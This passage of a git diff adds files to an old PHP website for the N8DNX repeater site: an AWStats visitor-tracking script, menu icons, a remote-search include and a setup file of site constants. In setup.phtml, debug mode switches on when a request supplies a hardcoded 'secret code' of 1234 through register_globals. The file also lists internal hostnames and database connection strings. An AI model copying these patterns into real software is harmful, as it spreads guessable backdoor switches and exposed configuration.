+       document.write('<SCR' + 'IPT LANGUAGE="VBScript">\n on error resume next \n TRKresult = IsObject(CreateObject("' + TRKClassID + '")) \n </SCR' + 'IPT>\n');
+       if (TRKresult) return 'y';
+       else return 'n';
+}
+
+function awstats_detectNS(TRKClassID) {
+       TRKn = "n";
+       if (TRKnse.indexOf(TRKClassID) != -1) if (navigator.mimeTypes[TRKClassID].enabledPlugin != null) TRKn = "y";
+       return TRKn;
+}
+
+function awstats_getCookie(TRKNameOfCookie){
+       if (document.cookie.length > 0){
+               TRKbegin = document.cookie.indexOf(TRKNameOfCookie+"=");
+           if (TRKbegin != -1) {
+                       TRKbegin += TRKNameOfCookie.length+1; 
+                       TRKend = document.cookie.indexOf(";", TRKbegin);
+                       if (TRKend == -1) TRKend = document.cookie.length;
+               return unescape(document.cookie.substring(TRKbegin, TRKend));
+               }
+               return null; 
+       }
+       return null; 
+}
+
+if (window.location.search == "" || window.location.search == "?") {
+    // If no query string
+       TRKnow = new Date();
+       TRKscreen=screen.width+"x"+screen.height;
+       if (navigator.appName != "Netscape") { TRKcdi=screen.colorDepth; }
+       else {TRKcdi=screen.pixelDepth};
+       TRKjava=navigator.javaEnabled();
+       TRKuserid=awstats_getCookie("AWSUSER_ID");
+       TRKsessionid=awstats_getCookie("AWSSESSION_ID");
+       var TRKrandomnumber=Math.floor(Math.random()*10000);
+       if (TRKuserid == null || (TRKuserid=="")) { TRKuserid = "awsuser_id" + TRKnow.getTime() +"r"+ TRKrandomnumber; }
+       if (TRKsessionid == null || (TRKsessionid=="")) { TRKsessionid = "awssession_id" + TRKnow.getTime() +"r"+ TRKrandomnumber; }
+       awstats_setCookie("AWSUSER_ID", TRKuserid, 10000);
+       awstats_setCookie("AWSSESSION_ID", TRKsessionid, 1);
+       TRKuserid=""; TRKuserid=awstats_getCookie("AWSUSER_ID");
+       TRKsessionid=""; TRKsessionid=awstats_getCookie("AWSSESSION_ID");
+       
+       var TRKnav=navigator.appName.toLowerCase();     // "internet explorer" or "netscape"
+       var TRKagt=navigator.userAgent.toLowerCase();   // "msie...", "mozilla...", "firefox..."
+    //alert(TRKnav); alert(TRKagt);
+
+       var TRKwin  = ((TRKagt.indexOf("win")!=-1) || (TRKagt.indexOf("32bit")!=-1));
+       var TRKmac  = (TRKagt.indexOf("mac")!=-1);
+
+       var TRKns   = (TRKnav.indexOf("netscape") != -1);
+       var TRKopera= (TRKnav.indexOf("opera") != -1);
+       var TRKie   = (TRKagt.indexOf("msie") != -1);
+
+    // Detect the browser internal width and height
+    var TRKwinsize;
+    if (document.documentElement && document.documentElement.clientWidth)
+        TRKwinsize = document.documentElement.clientWidth + 'x' + document.documentElement.clientHeight;
+    else if (document.body && document.body.clientWidth)
+        TRKwinsize = document.body.clientWidth + 'x' + document.body.clientHeight;
+    else
+        TRKwinsize = window.innerWidth + 'x' + window.innerHeight;
+       
+       if (TRKie && TRKwin) {
+               TRKshk = awstats_detectIE("SWCtl.SWCtl.1");
+               TRKsvg = awstats_detectIE("Adobe.SVGCtl");
+               TRKfla = awstats_detectIE("ShockwaveFlash.ShockwaveFlash.1");
+               TRKrp  = awstats_detectIE("rmocx.RealPlayer G2 Control.1");
+               TRKmov = awstats_detectIE("Quicktime.Quicktime");
+               TRKwma = awstats_detectIE("wmplayer.ocx");
+               TRKpdf = 'n'; TRKpdfver='';
+        if (awstats_detectIE("PDF.PdfCtrl.1") == 'y') { TRKpdf = 'y'; TRKpdfver='4'; } // Acrobat 4
+           if (awstats_detectIE('PDF.PdfCtrl.5') == 'y') { TRKpdf = 'y'; TRKpdfver='5'; } // Acrobat 5
+               if (awstats_detectIE('PDF.PdfCtrl.6') == 'y') { TRKpdf = 'y'; TRKpdfver='6'; } // Acrobat 6
+               if (awstats_detectIE('AcroPDF.PDF.1') == 'y') { TRKpdf = 'y'; TRKpdfver='7'; } // Acrobat 7
+       }
+       if (TRKns || !TRKwin) {
+               TRKnse = "";
+               for (var TRKi=0;TRKi<navigator.mimeTypes.length;TRKi++) TRKnse += navigator.mimeTypes[TRKi].type.toLowerCase();
+               TRKshk = awstats_detectNS("application/x-director","");
+               TRKsvg = awstats_detectNS("image/svg+xml","");
+               if (document.implementation.hasFeature("org.w3c.dom.svg", "")) {TRKsvg = "y"; }
+               TRKfla = awstats_detectNS("application/x-shockwave-flash"); // ou lire dans naviagtor.plugins si on trouve "Shockwave Flash" ou "Shockwav Flash 2.0"
+               TRKrp  = awstats_detectNS("audio/x-pn-realaudio-plugin");
+               TRKmov = awstats_detectNS("video/quicktime");
+               TRKwma = awstats_detectNS("application/x-mplayer2");
+               TRKpdf = awstats_detectNS("application/pdf");
+        TRKpdfver='';
+    }
+
+       var imgsrc1 = awstatsmisctrackerurl+'?screen='+TRKscreen+'&win='+TRKwinsize+'&cdi='+TRKcdi+'&java='+TRKjava;
+       var imgsrc2 = '&shk='+TRKshk+'&svg='+TRKsvg+'&fla='+TRKfla+'&rp='+TRKrp+'&mov='+TRKmov+'&wma='+TRKwma+'&pdf='+TRKpdf+'&uid='+TRKuserid+'&sid='+TRKsessionid;
+    //alert(imgsrc1);
+    //alert(imgsrc2);
+    var imgsrc=imgsrc1+imgsrc2;
+       if( document.createElementNS ) {
+       var l=document.createElementNS("http://www.w3.org/1999/xhtml","img");
+        l.setAttribute("src", imgsrc );
+        l.setAttribute("height", "0");
+        l.setAttribute("width", "0");
+        l.setAttribute("border", "0");
+        document.getElementsByTagName("body")[0].appendChild(l);
+       } else {
+               document.write('<img style="display:none;" src="'+ imgsrc +'" height="0" width="0" border="0" />')
+       }
+
+}
diff --git a/menuimages/down-arrow.png b/menuimages/down-arrow.png
new file mode 100755 (executable)
index 0000000..f0fb47d
Binary files /dev/null and b/menuimages/down-arrow.png differ
diff --git a/menuimages/down-galaxy.png b/menuimages/down-galaxy.png
new file mode 100755 (executable)
index 0000000..8301a91
Binary files /dev/null and b/menuimages/down-galaxy.png differ
diff --git a/menuimages/down-gnome.png b/menuimages/down-gnome.png
new file mode 100755 (executable)
index 0000000..7bc1103
Binary files /dev/null and b/menuimages/down-gnome.png differ
diff --git a/menuimages/down-gtk2.png b/menuimages/down-gtk2.png
new file mode 100755 (executable)
index 0000000..f0fb47d
Binary files /dev/null and b/menuimages/down-gtk2.png differ
diff --git a/menuimages/down-keramik.png b/menuimages/down-keramik.png
new file mode 100755 (executable)
index 0000000..bbd433b
Binary files /dev/null and b/menuimages/down-keramik.png differ
diff --git a/menuimages/down-nautilus.png b/menuimages/down-nautilus.png
new file mode 100755 (executable)
index 0000000..e9286c9
Binary files /dev/null and b/menuimages/down-nautilus.png differ
diff --git a/menuimages/forward-arrow.png b/menuimages/forward-arrow.png
new file mode 100755 (executable)
index 0000000..4f3189a
Binary files /dev/null and b/menuimages/forward-arrow.png differ
diff --git a/menuimages/forward-galaxy.png b/menuimages/forward-galaxy.png
new file mode 100755 (executable)
index 0000000..4f3189a
Binary files /dev/null and b/menuimages/forward-galaxy.png differ
diff --git a/menuimages/forward-gnome.png b/menuimages/forward-gnome.png
new file mode 100755 (executable)
index 0000000..12f80da
Binary files /dev/null and b/menuimages/forward-gnome.png differ
diff --git a/menuimages/forward-gtk2.png b/menuimages/forward-gtk2.png
new file mode 100755 (executable)
index 0000000..4f3189a
Binary files /dev/null and b/menuimages/forward-gtk2.png differ
diff --git a/menuimages/forward-keramik.png b/menuimages/forward-keramik.png
new file mode 100755 (executable)
index 0000000..8c53e10
Binary files /dev/null and b/menuimages/forward-keramik.png differ
diff --git a/menuimages/forward-nautilus.png b/menuimages/forward-nautilus.png
new file mode 100755 (executable)
index 0000000..35995d1
Binary files /dev/null and b/menuimages/forward-nautilus.png differ
diff --git a/menuimages/kde_tree_collapse.png b/menuimages/kde_tree_collapse.png
new file mode 100755 (executable)
index 0000000..02a1437
Binary files /dev/null and b/menuimages/kde_tree_collapse.png differ
diff --git a/menuimages/kde_tree_collapse_corner.png b/menuimages/kde_tree_collapse_corner.png
new file mode 100755 (executable)
index 0000000..7d38f98
Binary files /dev/null and b/menuimages/kde_tree_collapse_corner.png differ
diff --git a/menuimages/kde_tree_collapse_corner_first.png b/menuimages/kde_tree_collapse_corner_first.png
new file mode 100755 (executable)
index 0000000..3729fe7
Binary files /dev/null and b/menuimages/kde_tree_collapse_corner_first.png differ
diff --git a/menuimages/kde_tree_collapse_first.png b/menuimages/kde_tree_collapse_first.png
new file mode 100755 (executable)
index 0000000..18cfff6
Binary files /dev/null and b/menuimages/kde_tree_collapse_first.png differ
diff --git a/menuimages/kde_tree_corner.png b/menuimages/kde_tree_corner.png
new file mode 100755 (executable)
index 0000000..11b5240
Binary files /dev/null and b/menuimages/kde_tree_corner.png differ
diff --git a/menuimages/kde_tree_expand.png b/menuimages/kde_tree_expand.png
new file mode 100755 (executable)
index 0000000..fb1a654
Binary files /dev/null and b/menuimages/kde_tree_expand.png differ
diff --git a/menuimages/kde_tree_expand_corner.png b/menuimages/kde_tree_expand_corner.png
new file mode 100755 (executable)
index 0000000..35aded3
Binary files /dev/null and b/menuimages/kde_tree_expand_corner.png differ
diff --git a/menuimages/kde_tree_expand_corner_first.png b/menuimages/kde_tree_expand_corner_first.png
new file mode 100755 (executable)
index 0000000..2ba2d86
Binary files /dev/null and b/menuimages/kde_tree_expand_corner_first.png differ
diff --git a/menuimages/kde_tree_expand_first.png b/menuimages/kde_tree_expand_first.png
new file mode 100755 (executable)
index 0000000..c1f487a
Binary files /dev/null and b/menuimages/kde_tree_expand_first.png differ
diff --git a/menuimages/kde_tree_folder_closed.png b/menuimages/kde_tree_folder_closed.png
new file mode 100755 (executable)
index 0000000..2ef2bed
Binary files /dev/null and b/menuimages/kde_tree_folder_closed.png differ
diff --git a/menuimages/kde_tree_folder_open.png b/menuimages/kde_tree_folder_open.png
new file mode 100755 (executable)
index 0000000..50eea81
Binary files /dev/null and b/menuimages/kde_tree_folder_open.png differ
diff --git a/menuimages/kde_tree_leaf.png b/menuimages/kde_tree_leaf.png
new file mode 100755 (executable)
index 0000000..b34fae5
Binary files /dev/null and b/menuimages/kde_tree_leaf.png differ
diff --git a/menuimages/kde_tree_space.png b/menuimages/kde_tree_space.png
new file mode 100755 (executable)
index 0000000..fbdfa6a
Binary files /dev/null and b/menuimages/kde_tree_space.png differ
diff --git a/menuimages/kde_tree_split.png b/menuimages/kde_tree_split.png
new file mode 100755 (executable)
index 0000000..1f60f4e
Binary files /dev/null and b/menuimages/kde_tree_split.png differ
diff --git a/menuimages/kde_tree_split_first.png b/menuimages/kde_tree_split_first.png
new file mode 100755 (executable)
index 0000000..88c2eff
Binary files /dev/null and b/menuimages/kde_tree_split_first.png differ
diff --git a/menuimages/kde_tree_vertline.png b/menuimages/kde_tree_vertline.png
new file mode 100755 (executable)
index 0000000..34319c2
Binary files /dev/null and b/menuimages/kde_tree_vertline.png differ
diff --git a/menuimages/nautilus_tree_collapse.png b/menuimages/nautilus_tree_collapse.png
new file mode 100755 (executable)
index 0000000..d10e051
Binary files /dev/null and b/menuimages/nautilus_tree_collapse.png differ
diff --git a/menuimages/nautilus_tree_collapse_corner.png b/menuimages/nautilus_tree_collapse_corner.png
new file mode 100755 (executable)
index 0000000..d10e051
Binary files /dev/null and b/menuimages/nautilus_tree_collapse_corner.png differ
diff --git a/menuimages/nautilus_tree_collapse_corner_first.png b/menuimages/nautilus_tree_collapse_corner_first.png
new file mode 100755 (executable)
index 0000000..d10e051
Binary files /dev/null and b/menuimages/nautilus_tree_collapse_corner_first.png differ
diff --git a/menuimages/nautilus_tree_collapse_first.png b/menuimages/nautilus_tree_collapse_first.png
new file mode 100755 (executable)
index 0000000..d10e051
Binary files /dev/null and b/menuimages/nautilus_tree_collapse_first.png differ
diff --git a/menuimages/nautilus_tree_corner.png b/menuimages/nautilus_tree_corner.png
new file mode 100755 (executable)
index 0000000..fbdfa6a
Binary files /dev/null and b/menuimages/nautilus_tree_corner.png differ
diff --git a/menuimages/nautilus_tree_expand.png b/menuimages/nautilus_tree_expand.png
new file mode 100755 (executable)
index 0000000..38dcfc0
Binary files /dev/null and b/menuimages/nautilus_tree_expand.png differ
diff --git a/menuimages/nautilus_tree_expand_corner.png b/menuimages/nautilus_tree_expand_corner.png
new file mode 100755 (executable)
index 0000000..38dcfc0
Binary files /dev/null and b/menuimages/nautilus_tree_expand_corner.png differ
diff --git a/menuimages/nautilus_tree_expand_corner_first.png b/menuimages/nautilus_tree_expand_corner_first.png
new file mode 100755 (executable)
index 0000000..38dcfc0
Binary files /dev/null and b/menuimages/nautilus_tree_expand_corner_first.png differ
diff --git a/menuimages/nautilus_tree_expand_first.png b/menuimages/nautilus_tree_expand_first.png
new file mode 100755 (executable)
index 0000000..38dcfc0
Binary files /dev/null and b/menuimages/nautilus_tree_expand_first.png differ
diff --git a/menuimages/nautilus_tree_folder_closed.png b/menuimages/nautilus_tree_folder_closed.png
new file mode 100755 (executable)
index 0000000..fbeb3a0
Binary files /dev/null and b/menuimages/nautilus_tree_folder_closed.png differ
diff --git a/menuimages/nautilus_tree_folder_open.png b/menuimages/nautilus_tree_folder_open.png
new file mode 100755 (executable)
index 0000000..167770d
Binary files /dev/null and b/menuimages/nautilus_tree_folder_open.png differ
diff --git a/menuimages/nautilus_tree_leaf.png b/menuimages/nautilus_tree_leaf.png
new file mode 100755 (executable)
index 0000000..f865071
Binary files /dev/null and b/menuimages/nautilus_tree_leaf.png differ
diff --git a/menuimages/nautilus_tree_space.png b/menuimages/nautilus_tree_space.png
new file mode 100755 (executable)
index 0000000..fbdfa6a
Binary files /dev/null and b/menuimages/nautilus_tree_space.png differ
diff --git a/menuimages/nautilus_tree_split.png b/menuimages/nautilus_tree_split.png
new file mode 100755 (executable)
index 0000000..fbdfa6a
Binary files /dev/null and b/menuimages/nautilus_tree_split.png differ
diff --git a/menuimages/nautilus_tree_split_first.png b/menuimages/nautilus_tree_split_first.png
new file mode 100755 (executable)
index 0000000..fbdfa6a
Binary files /dev/null and b/menuimages/nautilus_tree_split_first.png differ
diff --git a/menuimages/nautilus_tree_vertline.png b/menuimages/nautilus_tree_vertline.png
new file mode 100755 (executable)
index 0000000..fbdfa6a
Binary files /dev/null and b/menuimages/nautilus_tree_vertline.png differ
diff --git a/menuimages/transparent.png b/menuimages/transparent.png
new file mode 100755 (executable)
index 0000000..793f790
Binary files /dev/null and b/menuimages/transparent.png differ
diff --git a/menuimages/tree_collapse.png b/menuimages/tree_collapse.png
new file mode 100755 (executable)
index 0000000..1c9be75
Binary files /dev/null and b/menuimages/tree_collapse.png differ
diff --git a/menuimages/tree_collapse_corner.png b/menuimages/tree_collapse_corner.png
new file mode 100755 (executable)
index 0000000..b3328ad
Binary files /dev/null and b/menuimages/tree_collapse_corner.png differ
diff --git a/menuimages/tree_collapse_corner_first.png b/menuimages/tree_collapse_corner_first.png
new file mode 100755 (executable)
index 0000000..122b980
Binary files /dev/null and b/menuimages/tree_collapse_corner_first.png differ
diff --git a/menuimages/tree_collapse_first.png b/menuimages/tree_collapse_first.png
new file mode 100755 (executable)
index 0000000..5c43876
Binary files /dev/null and b/menuimages/tree_collapse_first.png differ
diff --git a/menuimages/tree_corner.png b/menuimages/tree_corner.png
new file mode 100755 (executable)
index 0000000..541c5b3
Binary files /dev/null and b/menuimages/tree_corner.png differ
diff --git a/menuimages/tree_expand.png b/menuimages/tree_expand.png
new file mode 100755 (executable)
index 0000000..e94aecf
Binary files /dev/null and b/menuimages/tree_expand.png differ
diff --git a/menuimages/tree_expand_corner.png b/menuimages/tree_expand_corner.png
new file mode 100755 (executable)
index 0000000..4293f76
Binary files /dev/null and b/menuimages/tree_expand_corner.png differ
diff --git a/menuimages/tree_expand_corner_first.png b/menuimages/tree_expand_corner_first.png
new file mode 100755 (executable)
index 0000000..5de11a6
Binary files /dev/null and b/menuimages/tree_expand_corner_first.png differ
diff --git a/menuimages/tree_expand_first.png b/menuimages/tree_expand_first.png
new file mode 100755 (executable)
index 0000000..034b88e
Binary files /dev/null and b/menuimages/tree_expand_first.png differ
diff --git a/menuimages/tree_folder_closed.png b/menuimages/tree_folder_closed.png
new file mode 100755 (executable)
index 0000000..f1bfd01
Binary files /dev/null and b/menuimages/tree_folder_closed.png differ
diff --git a/menuimages/tree_folder_open.png b/menuimages/tree_folder_open.png
new file mode 100755 (executable)
index 0000000..4190b96
Binary files /dev/null and b/menuimages/tree_folder_open.png differ
diff --git a/menuimages/tree_leaf.png b/menuimages/tree_leaf.png
new file mode 100755 (executable)
index 0000000..6f999fb
Binary files /dev/null and b/menuimages/tree_leaf.png differ
diff --git a/menuimages/tree_space.png b/menuimages/tree_space.png
new file mode 100755 (executable)
index 0000000..fbdfa6a
Binary files /dev/null and b/menuimages/tree_space.png differ
diff --git a/menuimages/tree_split.png b/menuimages/tree_split.png
new file mode 100755 (executable)
index 0000000..1a49fab
Binary files /dev/null and b/menuimages/tree_split.png differ
diff --git a/menuimages/tree_split_first.png b/menuimages/tree_split_first.png
new file mode 100755 (executable)
index 0000000..e915d03
Binary files /dev/null and b/menuimages/tree_split_first.png differ
diff --git a/menuimages/tree_vertline.png b/menuimages/tree_vertline.png
new file mode 100755 (executable)
index 0000000..261ff13
Binary files /dev/null and b/menuimages/tree_vertline.png differ
diff --git a/menuimages/tri.gif b/menuimages/tri.gif
new file mode 100755 (executable)
index 0000000..bda1602
Binary files /dev/null and b/menuimages/tri.gif differ
diff --git a/remoteSearch.inc b/remoteSearch.inc
new file mode 100644 (file)
index 0000000..3e86c74
--- /dev/null
@@ -0,0 +1,52 @@
+<?
+/**
+ * Remote Search Query
+ *
+ * Use this when the Web site is not on a server that
+ * includes the GLMSearch class or that can't run it.
+ *
+ * Include this if search request is being processed
+ * (if "GLMSearch" post parameter exists and is set
+ * to 'true').
+ */
+
+
+/*
+ * Setup Parameters - MUST CONFIGURE THESE PER Website
+ */
+
+// Site we're going to search - Must be setup as an Index in the GLM OpenSearchServer
+$glmsThisSite = 'www.n8dnx.org';
+
+// URL to the remote search support code on a server that supports GLMSearch class
+$glmsUrl = 'http://www6.gaslightmedia.com/GLMSearch/V1.1/remoteSearchSupport.php';
+
+// URL that should be used for links in the search results page
+//$glmsPageURL = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER["SCRIPT_NAME"];
+$glmsPageURL = 'http://www.n8dnx.org/index.phtml';
+
+// End of configureable parameters
+
+
+$glmsStart = ($_REQUEST['start'] - 0);
+$glmsRows = ($_REQUEST['rows'] - 0);
+
+$glmsRequest = array(
+    'index'        => 'Index_1',
+    'website'      => $glmsThisSite,
+    'query'        => $_REQUEST['query'],
+    'returnUrl'    => $glmsPageURL,
+    'start'        => $glmsStart,
+    'rows'         => $glmsRows,
+    'matchAll'     => $_REQUEST['matchAll']
+);
+
+// Create curl instance - and set to return response
+$glmsCurl = curl_init();
+curl_setopt($glmsCurl, CURLOPT_RETURNTRANSFER, TRUE);
+curl_setopt($glmsCurl, CURLOPT_URL, $glmsUrl);
+curl_setopt($glmsCurl, CURLOPT_POST, true);
+curl_setopt($glmsCurl, CURLOPT_POSTFIELDS, $glmsRequest);
+
+    $glmsResults = curl_exec($glmsCurl);
+?>
diff --git a/setup.phtml b/setup.phtml
new file mode 100755 (executable)
index 0000000..8c2fee7
--- /dev/null
@@ -0,0 +1,1813 @@
+<?php
+ini_set('include_path', '/usr/share/pear' . ':' .ini_get('include_path'));
+/** @header Gaslight Media Toolbox�
+  Media Toolbox(R)
+  Setup.phtml file includes the functions that were in the functions.inc
+  and siteinfo.inc file into one file.
+  All set up stuff is on the top of the page.
+
+  $Id: setup.phtml,v 1.2 2010/08/22 14:36:27 cscott Exp $
+ */
+
+if( !isset($SITEINFO) )
+       {
+
+               if(!isset($DEBUG))      
+               {
+                       $DEBUG = (isset($mysecretcode) && $mysecretcode == 1234);
+               }
+               // setup for pages
+               $PAGES['default'] = 'index';
+               $PAGES[1] = 'index';
+               /* DEBUG ON BY DEFAULT SO YOU KNOW WHAT THE SETUPS ARE */
+//             $DEBUG = TRUE;
+
+               /*
+                *
+                *      Customer Setup 
+                *      Database setup 
+                *      Email Setup 
+                *
+                */
+               define("SITENAME","N8DNX and the Stutsmanville Repeater Complex");      // used for outputing name of site in admin area
+               define("SITE_NAME",SITENAME);   // same as SITENAME
+               define("DB_TYPE", "postgres");  // DB library only knows postgres (FUTURE EXPANSION)
+               define("DB_ERROR_MSG", "an error has occured with the database!");      // default error message
+               define("MULTIPLE_CAT",0);               // weather or not to use many to many relations
+               define("CAT_LOCK",0);                   // If set to 1 or true will lock the categories 
+               define("ENTRIES_PER_PAGE",10);  // default per page number
+               define("HTML_HELP_CODE",1);     // this is being depreciated for general help guides
+               define("PRODUCTION_MODE","OFF"); // used in the email out for contact DB
+               define("HTML_EMAIL","OFF");     // turn ON for html emails
+               define("ACTIVE_FLAG",1);                // turn on if bus_category table has active bool field 
+               define("DELUXE_TOOLBOX",1);             // used for the toolbox deluxe vrs.
+               define("SEO_URL",1);                    // weather to use Search Engine Optimisezd url's requires .htaccess enabled
+               /*
+                *
+                *      DO NOT EDIT THIS SECTION
+                *
+                */
+
+               // Find where this file is located
+
+               $BASE_PATH              = dirname( __FILE__ );
+
+               $CALLED_FROM_DIR        = substr( dirname($HTTP_SERVER_VARS["PATH_TRANSLATED"]), strlen($BASE_PATH) );
+
+               if( ($x = strlen($CALLED_FROM_DIR)) > 0 )
+                       $base_url       = $HTTP_HOST.substr( dirname($SCRIPT_NAME), 0, -strlen($CALLED_FROM_DIR) );
+               else
+               {
+                       $script_name_dir = dirname($SCRIPT_NAME);
+                       if( $script_name_dir == "/" )
+                               $script_name_dir = "";
+                       $base_url       = $HTTP_HOST.$script_name_dir;
+               }
+
+               $BASE_URL = "HTTP://".$base_url;
+               $BASE_SECURE_URL = "HTTPS://".$base_url;
+
+               // Indicate that this file has been referenced
+
+               $SITEINFO               = TRUE;
+
+
+               /*
+                *
+                *      Dynamic Configuration - Parameters that DO change based on location
+                *
+                */
+
+               switch( $GLM_SERVER_ID )
+               {
+
+                       case "devsys.gaslightmedia.com":        
+                               error_reporting(E_ERROR);
+                               ini_set("display_errors","1");
+                               // Use the $BASE_URL for secure URL on Devsys
+                               $BASE_SECURE_URL = $BASE_URL;   
+                               define("CONN_STR","host=devsys dbname=n8dnx");
+                               define("OWNER_EMAIL", "cscott@gaslightmedia.com");              // site owner's email address
+                               define("REPLY_TO", "info@n8dnx.org");                   // the reply-to field for email's
+                       break;
+
+                       case "ws1.gaslightmedia.com":
+                               error_reporting(0);
+                               ini_set("display_errors","0");
+                               $BASE_SECURE_URL = "HTTPS://".$base_url;
+                               define("CONN_STR","host=ds4 dbname=n8dnx");
+                               define("OWNER_EMAIL", "cscott@gaslightmedia.com");               // site owner's email address
+                               define("REPLY_TO", "info@n8dnx.org");                    // the reply-to field for email's
+                       break;
+
+                       default:        // There should be no need for any settings here
+                       break;
+
+               }
+               define("BASE_URL", $BASE_URL."/");                                      // url used for the root of site
+               define("URL_BASE", $BASE_URL."/");                                      // same as BASE_URL
+               define("BASE_PATH", $BASE_PATH."/");                            // root directory path of site
+               define("BASE", $BASE_PATH."/");                                         // same as BASE_PATH
+               define("HELP_BASE", "help/");                                           // help guide base (depreciated)
+               define("UP_BASE", BASE."uploads/");                                     // uploads directory path
+               define("IMG_BASE", URL_BASE."images/");                         // the images url path
+               define("POSTCARD_URL",URL."postcard.phtml");            // postcard url (used for postcard app)
+               define("LOGO_IMG",URL_BASE."images/logoicon.gif");      // used in admin area as the path to image logo
+               define("HELP_IMG",URL_BASE."images/help.gif");          // help image url (depriated)
+               define("ORIGINAL_PATH", BASE."images/original/");       // path of original images
+               define("RESIZED_PATH", BASE."images/resized/");         // path of first resized image
+               define("MIDSIZED_PATH", BASE."images/midsized/");       // path of half sized of resized 
+               define("THUMB_PATH", BASE."images/thumb/");                     // path of thumbnail directory
+               if( $_SERVER['HTTPS'] == "on" )
+               {
+                       define("ORIGINAL", $BASE_SECURE_URL."/images/original/");       // url of original images
+                       define("RESIZED", $BASE_SECURE_URL."/images/resized/");         // url of resized 
+                       define("MIDSIZED", $BASE_SECURE_URL."/images/midsized/");       // url of midsized
+                       define("THUMB", $BASE_SECURE_URL."/images/thumb/");                     // url of thumbnail
+               }
+               else
+               {
+                       define("ORIGINAL", URL_BASE."images/original/");        // url of original images
+                       define("RESIZED", URL_BASE."images/resized/");          // url of resized 
+                       define("MIDSIZED", URL_BASE."images/midsized/");        // url of midsized
+                       define("THUMB", URL_BASE."images/thumb/");                      // url of thumbnail
+               }
+               
+               /** these are the image sizing defines USE THESE ONLY 
+                 only allowed string of 'WxH[<>]' [-quality Percentage]
+                */
+               define("ITEM_RESIZED", "'287>' -quality 60");           // used in convert call to resize images
+               define("ITEM_MIDSIZED", "'220>' -quality 60");          
+               define("ITEM_THUMB","'140>' -quality 50");
+
+               define("FOOTER_IMG", URL_BASE."images/logosmall.gif");
+               define("FOOTER_URL", URL_BASE);
+               define("STYLE","main.css");
+
+               require_once('classes/class_db.inc');
+               require_once('classes/class_template.inc');
+               $DB =& new GLM_DB();
+
+
+               // [status_US] array of states and their abbr.
+               $states_US[""] = "";
+               $states_US["AL"]= "Alabama";
+               $states_US["AK"]= "Alaska";
+               $states_US["AZ"]= "Arizona";
+               $states_US["AR"]= "Arkansas";
+               $states_US["CA"]= "California";
+               $states_US["CO"]= "Colorado";
+               $states_US["CT"]= "Connecticut";
+               $states_US["DE"]= "Delaware";
+               $states_US["DC"]= "District of Columbia";
+               $states_US["FL"]= "Florida";
+               $states_US["GA"]= "Georgia";
+               $states_US["HI"]= "Hawaii";
+               $states_US["ID"]= "Idaho";
+               $states_US["IL"]= "Illinois";
+               $states_US["IN"]= "Indiana";
+               $states_US["IA"]= "Iowa";
+               $states_US["KS"]= "Kansas";
+               $states_US["KY"]= "Kentucky";
+               $states_US["LA"]= "Louisiana";
+               $states_US["ME"]= "Maine";
+               $states_US["MD"]= "Maryland";
+               $states_US["MA"]= "Massachusetts";
+               $states_US["MI"]= "Michigan";
+               $states_US["MN"]= "Minnesota";
+               $states_US["MS"]= "Mississppi";
+               $states_US["MO"]= "Missouri";
+               $states_US["MT"]= "Montana";
+               $states_US["NE"]= "Nebraska";
+               $states_US["NV"]= "Nevada";
+               $states_US["NH"]= "New Hampshire";
+               $states_US["NJ"]= "New Jersey";
+               $states_US["NM"]= "New Mexico";
+               $states_US["NY"]= "New York";
+               $states_US["NC"]= "North Carolina";
+               $states_US["ND"]= "North Dakota";
+               $states_US["OH"]= "Ohio";
+               $states_US["OK"]= "Oklahoma";
+               $states_US["OR"]= "Oregon";
+               $states_US["PA"]= "Pennsylvania";
+               $states_US["RI"]= "Rhode Island";
+               $states_US["SC"]= "South Carolina";
+               $states_US["SD"]= "South Dakota";
+               $states_US["TN"]= "Tennessee";
+               $states_US["TX"]= "Texas";
+               $states_US["UT"]= "Utah";
+               $states_US["VT"]= "Vermont";
+               $states_US["VA"]= "Virginia";
+               $states_US["WA"]= "Washington";
+               $states_US["WV"]= "West Virginia";
+               $states_US["WI"]= "Wisconsin";
+               $states_US["WY"]= "Wyoming";
+
+               // [states] extended states array
+               $states["AL"]  = "Alabama";
+               $states["AK"] =  "Alaska";
+               $states["AB"] =  "Alberta";
+               $states["AS"] =  "American Samoa";
+               $states["AZ"] =  "Arizona";
+               $states["AR"] =  "Arkansas";
+               $states["BC"] =  "British Columbia";
+               $states["CA"] =  "California";
+               $states["CO"] =  "Colorado";
+               $states["CT"] =  "Connecticut";
+               $states["DE"] =  "Delaware";
+               $states["DC"] =  "District of Columbia";
+               $states["FM"] =  "Federated States of Micronesia";
+               $states["FL"] =  "Florida";
+               $states["GA"] =  "Georgia";
+               $states["GU"] =  "Guam";
+               $states["HI"] =  "Hawaii";
+               $states["ID"] =  "Idaho";
+               $states["IL"] =  "Illinois";
+               $states["IN"] =  "Indiana";
+               $states["IA"] =  "Iowa";
+               $states["KS"] =  "Kansas";
+               $states["KY"] =  "Kentucky";
+               $states["LA"] =  "Louisiana";
+               $states["ME"] =  "Maine";
+               $states["MB"] =  "Manitoba";
+               $states["MH"] =  "Marshall Islands";
+               $states["MD"] =  "Maryland";
+               $states["MA"] =  "Massachusetts";
+               $states["MI"] =  "Michigan";
+               $states["MN"] =  "Minnesota";
+               $states["MS"] =  "Mississppi";
+               $states["MO"] =  "Missouri";
+               $states["MT"] =  "Montana";
+               $states["NE"] =  "Nebraska";
+               $states["NV"] =  "Nevada";
+               $states["NB"] =  "New Brunswick";
+               $states["NF"] =  "Newfoundland";
+               $states["NH"] =  "New Hampshire";
+               $states["NJ"] =  "New Jersey";
+               $states["NM"] =  "New Mexico";
+               $states["NY"] =  "New York";
+               $states["NC"] =  "North Carolina";
+               $states["ND"] =  "North Dakota";
+               $states["MP"] =  "Northern Mariana Islands";
+               $states["NT"] =  "Northwest Territories";
+               $states["NS"] =  "Nova Scotia";
+               $states["OH"] =  "Ohio";
+               $states["OK"] =  "Oklahoma";
+               $states["ON"] =  "Ontario";
+               $states["OR"] =  "Oregon";
+               $states["PW"] =  "Palau";
+               $states["PA"] =  "Pennsylvania";
+               $states["PE"] =  "Prince Edward Island";
+               $states["PR"] =  "Puerto Rico";
+               $states["QC"] =  "Quebec";
+               $states["RI"] =  "Rhode Island";
+               $states["SK"] =  "Saskatchewan";
+               $states["SC"] =  "South Carolina";
+               $states["SD"] =  "South Dakota";
+               $states["TN"] =  "Tennessee";
+               $states["TX"] =  "Texas";
+               $states["UT"] =  "Utah";
+               $states["VT"] =  "Vermont";
+               $states["VI"] =  "Virgin Islands";
+               $states["VA"] =  "Virginia";
+               $states["WA"] =  "Washington";
+               $states["WV"] =  "West Virginia";
+               $states["WI"] =  "Wisconsin";
